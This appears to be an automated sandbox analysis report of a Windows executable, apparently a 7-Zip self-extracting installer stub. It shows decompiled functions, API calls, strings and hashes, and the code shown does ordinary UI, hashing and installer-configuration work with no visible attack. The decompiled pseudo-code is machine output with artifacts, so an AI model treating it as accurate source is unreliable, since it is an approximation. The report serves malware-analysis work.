0x00409d8b
0x00409d90
0x00409d90
0x00409d90
0x00409d97
0x00409d9c
0x00409d9c
0x00409ddd
0x00409de0
0x00409de5
0x00409de8
0x00409ded
0x00409df3
0x00409df5
0x00409dfa
0x00409dfa
0x00409dfd
0x00409d52
0x00409d52
0x00409d55
0x00409d5b
0x00409d5b
0x00409e05

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 004099C9: ??3@YAXPAX@Z.MSVCRT ref: 00409A4E
Part of subcall function 004099C9: _wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409A77
Part of subcall function 004099C9: ??3@YAXPAX@Z.MSVCRT ref: 00409B08

??3@YAXPAX@Z.MSVCRT ref: 00409D55
wsprintfW.USER32 ref: 00409DA4
??3@YAXPAX@Z.MSVCRT ref: 00409DC5
??3@YAXPAX@Z.MSVCRT ref: 00409DE0
??3@YAXPAX@Z.MSVCRT ref: 00409DE8

Strings

.%03u, xrefs: 00409D75, 00409DA2

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@_wtolwsprintf
String ID: .%03u
API String ID: 2619731350-3746577511
Opcode ID: d9da517446e7d22e7b0168033926e92862007eaf4458fa90e29128767b03b01d
Instruction ID: 0034a0038c25d7715fb85f134ff920e9ad4cb3cd18a2976f835199771390e190
Opcode Fuzzy Hash: d9da517446e7d22e7b0168033926e92862007eaf4458fa90e29128767b03b01d
Instruction Fuzzy Hash: 8F313671540218AFCF04EF65DC818EE3BA9EF04314B10403BFC25922A2EB39DD86CB88

Uniqueness

Uniqueness Score: -1.00%

Function 004079E9, Relevance: 12.1, APIs: 8, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004079E9(intOrPtr __ecx, WCHAR* _a4, void* _a8, void* _a12, signed int _a16) {
				struct HDC__* _v8;
				signed int _v12;
				intOrPtr _v16;
				struct HDC__* _t31;
				int _t33;
				int _t35;
				void* _t45;
				long _t47;
				long _t53;
				struct tagRECT* _t57;

				_v12 = _v12 & 0x00000000;
				_v16 = __ecx;
				_t31 = GetDC( *(__ecx + 4));
				_v8 = _t31;
				if(_t31 != 0) {
					_t33 = GetSystemMetrics(0xb);
					_t45 = 0xffffffc4;
					_t53 = _t45 - _t33 + GetSystemMetrics(0x3d);
					_t35 = GetSystemMetrics(0x3e);
					_t57 = _a8;
					_t10 = _t35 - 0x78; // -120
					_t47 = _t10;
					_t57->bottom = 0;
					_t57->top = 0;
					_t57->left = 0;
					_t57->right = _t53;
					_a8 = SelectObject(_v8, _a12);
					_v12 = 0 | DrawTextW(_v8, _a4, 0xffffffff, _t57, _a16 | 0x00000400) > 0x00000000;
					if(_t53 < _t57->right) {
						_t57->right = _t53;
					}
					if(_t47 < _t57->bottom) {
						_t57->bottom = _t47;
					}
					SelectObject(_v8, _a8);
					ReleaseDC( *(_v16 + 4), _v8);
				}
				return _v12;
			}

0x004079f2
0x004079f6
0x004079f9
0x004079ff
0x00407a04
0x00407a15
0x00407a19
0x00407a22
0x00407a25
0x00407a2a
0x00407a30
0x00407a30
0x00407a35
0x00407a38
0x00407a3b
0x00407a3d
0x00407a46
0x00407a68
0x00407a6e
0x00407a70
0x00407a70
0x00407a76
0x00407a78
0x00407a78
0x00407a81
0x00407a90
0x00407a98
0x00407a9d

APIs

GetDC.USER32(?), ref: 004079F9
GetSystemMetrics.USER32 ref: 00407A15
GetSystemMetrics.USER32 ref: 00407A1E
GetSystemMetrics.USER32 ref: 00407A25
SelectObject.GDI32(?,?), ref: 00407A40
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00407A5B
SelectObject.GDI32(?,?), ref: 00407A81
ReleaseDC.USER32 ref: 00407A90

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 32584a4472645db3aff27f6520096e7dc3bbedd979ffd5018345eaf338595b88
Instruction ID: d7a645f58c53ce30d97dd646464eddd9bcb9b2579cd2f157b80914e8c8c63eec
Opcode Fuzzy Hash: 32584a4472645db3aff27f6520096e7dc3bbedd979ffd5018345eaf338595b88
Instruction Fuzzy Hash: 642138B1D00209EFCB11DFA5DD84A8EBFF4EF08364F10C46AE429A62A0C735AA51DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00409F61, Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 166
sleepCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00409F61() {
				signed int _v8;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v88;
				char _v92;
				signed int _t25;
				signed int _t30;
				void* _t33;
				signed short* _t39;

				_v8 = _v8 & 0x00000000;
				_t39 =  *0x4228dc; // 0x9d2808
				_t25 =  *_t39 & 0x0000ffff;
				if(_t25 == 0) {
					L46:
					return _v8;
				} else {
					_t30 = 0x64;
					do {
						_t33 = (_t25 & 0x0000ffff) + 0xffffffbe;
						if(_t33 > 0x38) {
							goto L44;
						}
						switch( *((intOrPtr*)(( *(_t33 + 0x40a1e1) & 0x000000ff) * 4 +  &M0040A1B5))) {
							case 0:
								if(E00404F59() == 0) {
									if( *_t39 != 0x42) {
										_v8 = _t30;
									} else {
										_t27 = L"BeginPrompt";
									}
								}
								_t36 =  *0x422738; // 0x22109c0
								E00408B40(_t36, _t27);
								goto L44;
							case 1:
								__eflags =  *0x42245c & 0x00000100;
								if(__eflags != 0) {
									L12:
									__ecx =  &_v88;
									__eax = E004075CF( &_v88, __edx, __eflags);
									__ecx =  &_v88;
									_v88 = 0x41ef68;
									__eax = E00407FA3(0);
									goto L13;
								}
								__eflags = __ax - 0x43;
								if(__eflags == 0) {
									goto L12;
								}
								goto L11;
							case 2:
								__eflags =  *0x422770 - 2;
								if( *0x422770 != 2) {
									L20:
									__eax = E00408C2E(__edx);
									goto L44;
								}
								__eflags = __ax - 0x45;
								if(__eflags != 0) {
									goto L11;
								}
								goto L20;
							case 3:
								__edx = 0;
								__ecx = L"FinishMessage";
								__esi = E00404F59();
								__eflags = __esi;
								if(__esi == 0) {
									__eflags =  *__edi - 0x46;
									if( *__edi == 0x46) {
										__esi = L"FinishMessage";
									}
								}
								__eflags =  *0x422468;
								if(__eflags < 0) {
									 *0x422468 = 1;
									__eflags =  *0x422468;
								}
								if(__eflags > 0) {
									L31:
									__ecx =  &_v88;
									__eax = E004075CF( &_v88, __edx, __eflags);
									__ecx =  &_v88;
									_v88 = 0x41ebb4;
									_v32 = 0x7d5;
									__eax = E00407941( &_v88, 0x11,  *0x422738, __esi, 0);
									L13:
									__ecx =  &_v88;
									goto L14;
								} else {
									__eflags =  *__edi - 0x46;
									if(__eflags != 0) {
										goto L11;
									}
									goto L31;
								}
							case 4:
								__edx = 0;
								__ecx = L"HelpText";
								__eax = E00404F59();
								__esi = __eax;
								__eflags = __eax;
								if(__eflags != 0) {
									L36:
									__ecx =  &_v92;
									__eax = E004075CF( &_v92, __edx, __eflags);
									__ecx =  &_v92;
									_v92 = 0x41eaa0;
									_v36 = 0x7d6;
									__eax = E00407941( &_v92, 0x11,  *0x422738, __esi, 0);
									__ecx =  &_v92;
									L14:
									__eax = E00407630(__eax, __ecx);
									goto L44;
								}
								__eflags =  *__edi - 0x48;
								if(__eflags != 0) {
									L35:
									_v8 = __ebx;
									goto L36;
								}
								_push(0x18);
								_pop(__ecx);
								__eax = E00403CE0(L"HelpText");
								__esi = __eax;
								__eflags = __eax;
								if(__eflags != 0) {
									goto L36;
								}
								goto L35;
							case 5:
								__ecx =  *0x42245c;
								__ecx =  *0x42245c & 0x000000c0;
								__eflags = __cl - 0x80;
								if(__cl == 0x80) {
									L17:
									__edx =  *0x422748; // 0x9dbbc0
									__ecx =  *0x422754; // 0x9dbb90
									__eax = E00408BDB(__ecx, __edx);
									goto L44;
								}
								__eflags = __ax - 0x50;
								if(__eflags != 0) {
									goto L11;
								}
								goto L17;
							case 6:
								__esi = 0x4227f0;
								__ecx = 0x4227f0;
								__eax = E00408C93(0x4227f0, __edx, __eflags);
								do {
									Sleep(__ebx);
									__ecx = 0x4227f0;
									__eflags = E00407597(0x4227f0);
								} while (__eflags != 0);
								goto L44;
							case 7:
								__edx = 0;
								__ecx = L"WarningTitle";
								__eax = E00404F59();
								__eflags = __eax;
								if(__eax != 0) {
									L42:
									_push(0x2a);
									_pop(__ecx);
									__ecx = E00403CE0(__ecx);
									__eax = E00409617(__ecx, __edx, __eflags);
									goto L44;
								}
								__eflags =  *__edi - 0x57;
								if(__eflags != 0) {
									goto L11;
								}
								goto L42;
							case 8:
								__eax = E00401080(__edx, __eflags);
								goto L44;
							case 9:
								__edx = 0;
								__ecx = L"ErrorTitle";
								__eax = E00404F59();
								__eflags = __eax;
								if(__eax != 0) {
									L23:
									_push(0xf);
									_push(0);
									__eax = E00409684(__edx);
									_pop(__ecx);
									_pop(__ecx);
									goto L44;
								}
								__eflags =  *__edi - 0x5a;
								if(__eflags != 0) {
									L11:
									_v8 = __ebx;
									goto L44;
								}
								goto L23;
							case 0xa:
								goto L44;
						}
						L44:
						_t39 =  &(_t39[1]);
						_t25 =  *_t39 & 0x0000ffff;
					} while (_t25 != 0);
					goto L46;
				}
			}

0x00409f67
0x00409f6c
0x00409f72
0x00409f78
0x0040a1ad
0x0040a1b2
0x00409f7e
0x00409f82
0x00409f83
0x00409f86
0x00409f8c
0x00000000
0x00000000
0x00409f99
0x00000000
0x00409fb0
0x00409fb6
0x00409fbc
0x00409fb8
0x00409fb8
0x00409fb8
0x00409fb6
0x00409fbf
0x00409fc7
0x00000000
0x00000000
0x00409fd1
0x00409fdb
0x00409feb
0x00409feb
0x00409fee
0x00409ff5
0x00409ff8
0x00409fff
0x00000000
0x00409fff
0x00409fdd
0x00409fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a03e
0x0040a045
0x0040a04d
0x0040a04d
0x00000000
0x0040a04d
0x0040a047
0x0040a04b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a081
0x0040a083
0x0040a08d
0x0040a08f
0x0040a091
0x0040a093
0x0040a097
0x0040a099
0x0040a099
0x0040a097
0x0040a09e
0x0040a0a5
0x0040a0a7
0x0040a0b1
0x0040a0b1
0x0040a0b8
0x0040a0c4
0x0040a0c4
0x0040a0c7
0x0040a0d5
0x0040a0da
0x0040a0e1
0x0040a0e8
0x0040a004
0x0040a004
0x00000000
0x0040a0ba
0x0040a0ba
0x0040a0be
0x00000000
0x00000000
0x00000000
0x0040a0be
0x00000000
0x0040a0f2
0x0040a0f4
0x0040a0f9
0x0040a0fe
0x0040a100
0x0040a102
0x0040a11b
0x0040a11b
0x0040a11e
0x0040a12c
0x0040a131
0x0040a138
0x0040a13f
0x0040a144
0x0040a007
0x0040a007
0x00000000
0x0040a007
0x0040a104
0x0040a108
0x0040a118
0x0040a118
0x00000000
0x0040a118
0x0040a10a
0x0040a10c
0x0040a10d
0x0040a112
0x0040a114
0x0040a116
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a011
0x0040a017
0x0040a01d
0x0040a020
0x0040a028
0x0040a028
0x0040a02e
0x0040a034
0x00000000
0x0040a034
0x0040a022
0x0040a026
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a14c
0x0040a151
0x0040a153
0x0040a158
0x0040a159
0x0040a15f
0x0040a166
0x0040a166
0x00000000
0x00000000
0x0040a16c
0x0040a16e
0x0040a173
0x0040a178
0x0040a17a
0x0040a186
0x0040a186
0x0040a188
0x0040a18e
0x0040a190
0x00000000
0x0040a190
0x0040a17c
0x0040a180
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a197
0x00000000
0x00000000
0x0040a057
0x0040a059
0x0040a05e
0x0040a063
0x0040a065
0x0040a071
0x0040a071
0x0040a073
0x0040a075
0x0040a07a
0x0040a07b
0x00000000
0x0040a07b
0x0040a067
0x0040a06b
0x00409fe3
0x00409fe3
0x00000000
0x00409fe3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a19c
0x0040a19c
0x0040a19f
0x0040a1a2
0x00000000
0x0040a1ac

APIs

Sleep.KERNEL32(00000064,0042289C,00000000,00000000), ref: 0040A159

Strings

WarningTitle, xrefs: 0040A16E
hA, xrefs: 00409FF8
HelpText, xrefs: 0040A0F4
ErrorTitle, xrefs: 0040A059
BeginPrompt, xrefs: 00409FA0
FinishMessage, xrefs: 0040A083, 0040A099, 0040A0CE

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID: BeginPrompt$ErrorTitle$FinishMessage$HelpText$WarningTitle$hA
API String ID: 3472027048-521349007
Opcode ID: 9c1cac134e722dcd1e5fd9c3bbf26f4cbc7f9728f35d472b3f288e2e11dd9c58
Instruction ID: 4f1981a800d2a26433a0518d47595aec0fb4d88ed4768baaab3659b3bb23ff90
Opcode Fuzzy Hash: 9c1cac134e722dcd1e5fd9c3bbf26f4cbc7f9728f35d472b3f288e2e11dd9c58
Instruction Fuzzy Hash: D051E670E043069ADB24EB5289117AE73B1AB90314F50803FE9467B2D5DBBC5E96C68F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B810, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040B810(intOrPtr* __ecx) {
				void* _t48;
				void* _t58;
				signed int _t59;
				void* _t60;
				void* _t61;
				void* _t64;
				void* _t73;
				intOrPtr* _t90;
				intOrPtr* _t92;
				signed int _t95;
				void* _t97;
				void* _t98;

				_t92 = __ecx;
				if( *__ecx != 0x3f) {
					_t48 =  *((intOrPtr*)(__ecx + 4)) +  *((intOrPtr*)(__ecx + 0x1c)) + 8;
					_t64 = 0;
					 *(_t97 + 0x10) = _t48;
					if(_t48 != 0) {
						_push(_t48);
						L0041C16C();
						_t97 = _t97 + 4;
						_t64 = _t48;
					}
					memcpy(_t64, _t92 + 8,  *(_t92 + 4));
					memcpy(_t64 +  *(_t92 + 4),  *(_t92 + 0x18),  *(_t92 + 0x1c));
					_t90 = _t64 +  *(_t92 + 4) +  *(_t92 + 0x1c);
					 *_t90 = 0;
					 *((intOrPtr*)(_t90 + 4)) = 0;
					_t98 = _t97 + 0x18;
					 *((intOrPtr*)(_t98 + 0x1c)) = 0x6a09e667;
					 *((intOrPtr*)(_t98 + 0x20)) = 0xbb67ae85;
					 *((intOrPtr*)(_t98 + 0x24)) = 0x3c6ef372;
					 *((intOrPtr*)(_t98 + 0x28)) = 0xa54ff53a;
					 *((intOrPtr*)(_t98 + 0x2c)) = 0x510e527f;
					 *((intOrPtr*)(_t98 + 0x30)) = 0x9b05688c;
					 *((intOrPtr*)(_t98 + 0x34)) = 0x1f83d9ab;
					 *((intOrPtr*)(_t98 + 0x38)) = 0x5be0cd19;
					 *((intOrPtr*)(_t98 + 0x3c)) = 0;
					 *((intOrPtr*)(_t98 + 0x40)) = 0;
					_t95 = E0041C2F0(1,  *_t92, 0);
					 *(_t98 + 0x18) = 0;
					do {
						E0040B350(_t98 + 0x20, _t64,  *((intOrPtr*)(_t98 + 0x10)));
						_t58 = 0;
						while(1) {
							_t41 = _t58 + _t90;
							 *_t41 =  *((char*)(_t58 + _t90)) + 1;
							if( *_t41 != 0) {
								goto L14;
							}
							_t58 = _t58 + 1;
							if(_t58 < 8) {
								continue;
							}
							goto L14;
						}
						L14:
						_t59 =  *(_t98 + 0x18);
						_t95 = _t95 + 0xffffffff;
						asm("adc eax, 0xffffffff");
						 *(_t98 + 0x18) = _t59;
					} while ((_t95 | _t59) != 0);
					_t46 = _t98 + 0x1c; // 0x6a09e667
					_t60 = E0040B600(_t46, _t92 + 0x20);
					_push(_t64);
					L0041C160();
					return _t60;
				}
				_t61 = 0;
				if( *((intOrPtr*)(__ecx + 4)) > 0) {
					do {
						 *((char*)(__ecx + _t61 + 0x20)) =  *((intOrPtr*)(__ecx + _t61 + 8));
						_t61 = _t61 + 1;
					} while (_t61 <  *((intOrPtr*)(__ecx + 4)));
				}
				_t73 = 0;
				if( *(_t92 + 0x1c) <= 0) {
					L6:
					if(_t61 >= 0x20) {
						goto L16;
					} else {
						_t14 = _t92 + 0x20; // 0x21
						return memset(_t61 + _t14, 0, 0x20 - _t61);
					}
				} else {
					while(_t61 < 0x20) {
						 *((char*)(_t61 + _t92 + 0x20)) =  *((intOrPtr*)(_t73 +  *(_t92 + 0x18)));
						_t73 = _t73 + 1;
						_t61 = _t61 + 1;
						if(_t73 <  *(_t92 + 0x1c)) {
							continue;
						} else {
							goto L6;
						}
						goto L17;
					}
					L16:
					return _t61;
				}
				L17:
			}

0x0040b814
0x0040b819
0x0040b87e
0x0040b884
0x0040b887
0x0040b88d
0x0040b88f
0x0040b890
0x0040b895
0x0040b898
0x0040b898
0x0040b8a3
0x0040b8b6
0x0040b8c0
0x0040b8c5
0x0040b8c7
0x0040b8cc
0x0040b8d6
0x0040b8de
0x0040b8e6
0x0040b8ee
0x0040b8f6
0x0040b8fe
0x0040b906
0x0040b90e
0x0040b916
0x0040b91a
0x0040b923
0x0040b925
0x0040b930
0x0040b93b
0x0040b940
0x0040b942
0x0040b942
0x0040b942
0x0040b945
0x00000000
0x00000000
0x0040b947
0x0040b94b
0x00000000
0x00000000
0x00000000
0x0040b94b
0x0040b94d
0x0040b94d
0x0040b951
0x0040b954
0x0040b95b
0x0040b95b
0x0040b964
0x0040b968
0x0040b96d
0x0040b96e
0x00000000
0x0040b978
0x0040b81b
0x0040b820
0x0040b822
0x0040b826
0x0040b82a
0x0040b82b
0x0040b822
0x0040b830
0x0040b835
0x0040b851
0x0040b854
0x00000000
0x0040b85a
0x0040b862
0x0040b875
0x0040b875
0x0040b837
0x0040b837
0x0040b846
0x0040b84a
0x0040b84b
0x0040b84f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b84f
0x0040b97d
0x0040b97d
0x0040b97d
0x00000000

APIs

memset.MSVCRT ref: 0040B869
??2@YAPAXI@Z.MSVCRT ref: 0040B890
memcpy.MSVCRT ref: 0040B8A3
memcpy.MSVCRT ref: 0040B8B6
??3@YAXPAX@Z.MSVCRT ref: 0040B96E

Strings

gj, xrefs: 0040B964

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@memset
String ID: gj
API String ID: 1510051167-4203073231
Opcode ID: fa11bfa1c03060d87f7550f12323f1151fe59167bef6b5b9de342155d4eadc05
Instruction ID: 5ab1223f956dad006c461569b39dc5db1a7a3ac289c35279b9943f5a0f586916
Opcode Fuzzy Hash: fa11bfa1c03060d87f7550f12323f1151fe59167bef6b5b9de342155d4eadc05
Instruction Fuzzy Hash: DB419BB25043009FC324EF25C88095BB7E5FF99718F148E2EE4DA97652E734E9498B89

Uniqueness

Uniqueness Score: -1.00%

Function 00405F0F, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405F0F(void* __ecx, intOrPtr* __edx) {
				intOrPtr* _v8;
				char _v12;
				intOrPtr _v20;
				char _v24;
				signed int _v32;
				void* _v36;
				short _v40;
				short _v44;
				signed int _v52;
				short _v56;
				char _v60;
				void* __esi;
				void* _t39;
				void* _t48;
				signed int _t55;
				void* _t56;
				void* _t57;

				_v52 = _v52 | 0xffffffff;
				_t57 = __ecx;
				_v8 = __edx;
				_v56 = 0;
				_v60 = 0x41db9c;
				_v44 = 0;
				_v40 = 0;
				_t39 = E00414091(__ecx, 1);
				_t79 = _t39;
				if(_t39 != 0) {
					L6:
					E004143C2(_t39,  &_v24);
					E00414427( &_v24, 0x422494);
					E004144C5( &_v24, ";!@Install@!UTF-8!");
					E004144C5( &_v24,  *_v8);
					E004144C5( &_v24, ";!@InstallEnd@!");
					_t48 = E004150DD(0x41db9c,  &_v60, _v24, _v20,  &_v12);
					__eflags = _t48;
					if(_t48 != 0) {
						L9:
						_push(_v24);
						L10:
						L0041C160();
						_v60 = 0x41db9c;
						E00413DDA( &_v52);
						return 0;
					}
					__eflags = _v12 - _v20;
					if(_v12 != _v20) {
						goto L9;
					}
					_push(_v24);
					L0041C160();
					_v60 = 0x41db9c;
					E00413DDA( &_v52);
					return 1;
				}
				E00414803( &_v36, __ecx);
				_t55 = E00403813( &_v36, _t79);
				if(_t55 >= 0) {
					_t76 = _v36;
					_v32 = _t55;
					 *((short*)(_v36 + _t55 * 2)) = 0;
					_t56 = E0040468A(_v36, _t76);
					__eflags = _t56;
					if(_t56 == 0) {
						goto L2;
					}
					_v44 = 0;
					_v40 = 0;
					_t39 = E00414091(_t57, 1);
					__eflags = _t39;
					if(_t39 == 0) {
						goto L2;
					}
					_push(_v36);
					L0041C160();
					goto L6;
				}
				L2:
				_push(_v36);
				goto L10;
			}

0x00405f15
0x00405f1c
0x00405f2b
0x00405f2e
0x00405f31
0x00405f34
0x00405f37
0x00405f3a
0x00405f3f
0x00405f41
0x00405f96
0x00405f99
0x00405fa6
0x00405fb3
0x00405fc0
0x00405fcd
0x00405fe0
0x00405fe5
0x00405fe7
0x00406009
0x00406009
0x0040600c
0x0040600c
0x00406015
0x00406018
0x00000000
0x0040601d
0x00405fec
0x00405fef
0x00000000
0x00000000
0x00405ff1
0x00405ff4
0x00405ffd
0x00406000
0x00000000
0x00406005
0x00405f47
0x00405f4f
0x00405f56
0x00405f60
0x00405f65
0x00405f68
0x00405f6f
0x00405f74
0x00405f76
0x00000000
0x00000000
0x00405f7e
0x00405f81
0x00405f84
0x00405f89
0x00405f8b
0x00000000
0x00000000
0x00405f8d
0x00405f90
0x00000000
0x00405f95
0x00405f58
0x00405f58
0x00000000

APIs

??3@YAXPAX@Z.MSVCRT ref: 00405FF4

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

??3@YAXPAX@Z.MSVCRT ref: 00405F90
??3@YAXPAX@Z.MSVCRT ref: 0040600C

Strings

&@, xrefs: 00405F22
;!@Install@!UTF-8!, xrefs: 00405FAB
;!@InstallEnd@!, xrefs: 00405FC5

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!$&@
API String ID: 750647942-3840191401
Opcode ID: 30ec7349826eb5619f19a58d332a305a58701340e5a3dcc7e5453147237b2012
Instruction ID: c3f501718d29e0609bacf028bb7e0f5575d8248d997bf9953d440c615c71183d
Opcode Fuzzy Hash: 30ec7349826eb5619f19a58d332a305a58701340e5a3dcc7e5453147237b2012
Instruction Fuzzy Hash: C7314F71D00119AADF05EFD6DD829EEBB74EF94318F20002BF502B21E1DB791A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401AA4, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00401AA4() {
				struct HWND__* _v8;
				short _v264;
				short _v2312;
				WCHAR* _t15;
				struct HWND__* _t32;
				intOrPtr* _t33;
				intOrPtr* _t34;
				WCHAR* _t35;
				WCHAR* _t36;
				WCHAR* _t37;
				void* _t39;
				intOrPtr* _t43;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t48;

				_t15 =  *0x422714; // 0x0
				_t45 = _t44 - 0x904;
				_t32 = 0;
				_t43 = _t34;
				if(_t15 == 0) {
					_t35 = 0x27;
					wsprintfW( &_v2312, E00403CE0(_t35),  *_t43,  *((intOrPtr*)(_t43 + 0xc)));
					_t46 = _t45 + 0x10;
					_v8 = 0;
					if( *((intOrPtr*)(_t43 + 0x10)) <= 0) {
						L8:
						if(";!@Install@!UTF-8!" == 0x3b) {
							_t36 =  &_v2312;
							L11:
							E0040959E(_t36, _t39);
							L12:
							E00405A7A();
							ExitProcess(0xa);
						}
						_push(_t32);
						_t37 = 3;
						MessageBoxW(_t32,  &_v2312, E00403CE0(_t37), ??);
						goto L12;
					}
					_t33 = _t43 + 0x14;
					do {
						wsprintfW( &_v264, L"\t0x%p\n",  *_t33);
						_t46 = _t46 + 0xc;
						lstrcatW( &_v2312,  &_v264);
						_v8 = _v8 + 1;
						_t33 = _t33 + 4;
					} while (_v8 <  *((intOrPtr*)(_t43 + 0x10)));
					_t32 = 0;
					goto L8;
				}
				_t48 =  *0x422716 - _t32; // 0x0
				if(_t48 != 0) {
					 *0x422714 = _t15;
				}
				_t36 = E00403CE0(_t15);
				goto L11;
			}

0x00401aa7
0x00401aac
0x00401ab4
0x00401ab7
0x00401abb
0x00401add
0x00401af6
0x00401af8
0x00401afb
0x00401b01
0x00401b3d
0x00401b44
0x00401b60
0x00401b66
0x00401b66
0x00401b6b
0x00401b6b
0x00401b72
0x00401b72
0x00401b46
0x00401b49
0x00401b58
0x00000000
0x00401b58
0x00401b03
0x00401b06
0x00401b14
0x00401b16
0x00401b27
0x00401b2d
0x00401b33
0x00401b36
0x00401b3b
0x00000000
0x00401b3b
0x00401abd
0x00401ac4
0x00401ac8
0x00401ac8
0x00401ad4
0x00000000

APIs

wsprintfW.USER32 ref: 00401AF6
wsprintfW.USER32 ref: 00401B14
lstrcatW.KERNEL32(?,?), ref: 00401B27
MessageBoxW.USER32(00000000,?,00000000,00000000), ref: 00401B58
ExitProcess.KERNEL32 ref: 00401B72

Strings

0x%p, xrefs: 00401B0E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: wsprintf$ExitMessageProcesslstrcat
String ID: 0x%p
API String ID: 1920160435-1745605757
Opcode ID: 385690d3a1d49b3415e5c7f5d9ca7004a209e28fb46c1b54cb9a9d937d291444
Instruction ID: bdd98ded1a4888b9718e7119b40d0133e4242b4b1d5a6e7b56f428a96039426d
Opcode Fuzzy Hash: 385690d3a1d49b3415e5c7f5d9ca7004a209e28fb46c1b54cb9a9d937d291444
Instruction Fuzzy Hash: FA2157B1A04218BFDB20EFB4DD85A9A77BCEF44344F50047AA501F3191DB78AA448B69

Uniqueness

Uniqueness Score: -1.00%

Function 00407E82, Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00407E82(long __ecx, struct HWND__* _a4) {
				struct HDC__* _v8;
				char _v324;
				short _v326;
				short _v328;
				void _v360;
				char _v432;
				short _v436;
				int _v452;
				void _v860;
				DLGTEMPLATE* _t22;
				struct HDC__* _t24;
				signed int _t26;
				long _t30;
				signed int _t32;
				CHAR* _t34;
				struct HINSTANCE__* _t41;

				_t30 = __ecx;
				_t32 = 0x58;
				memcpy( &_v360, 0x4224a0, _t32 << 2);
				_v860 = 0x1f4;
				if(SystemParametersInfoW(0x29, 0,  &_v860, 0) != 0) {
					_t24 = GetDC(0);
					_v8 = _t24;
					_t26 = MulDiv(_v452, 0x48, GetDeviceCaps(_t24, 0x5a));
					ReleaseDC(0, _v8);
					_v326 = _v436;
					_v328 =  ~_t26;
					_v324 = _v432;
				}
				_t41 = GetModuleHandleW(0);
				if( *(_t30 + 0x38) == 0) {
					L4:
					_t22 =  &_v360;
					 *(_t30 + 0x38) = 0;
				} else {
					_push(0);
					_t34 = 5;
					_t22 = E00403908(_t34,  *(_t30 + 0x38) & 0x0000ffff);
					if(_t22 == 0) {
						goto L4;
					}
				}
				return DialogBoxIndirectParamW(_t41, _t22, _a4, E00407640, _t30);
			}

0x00407e90
0x00407e92
0x00407e9e
0x00407ead
0x00407ebf
0x00407ec2
0x00407ecb
0x00407edd
0x00407eeb
0x00407ef8
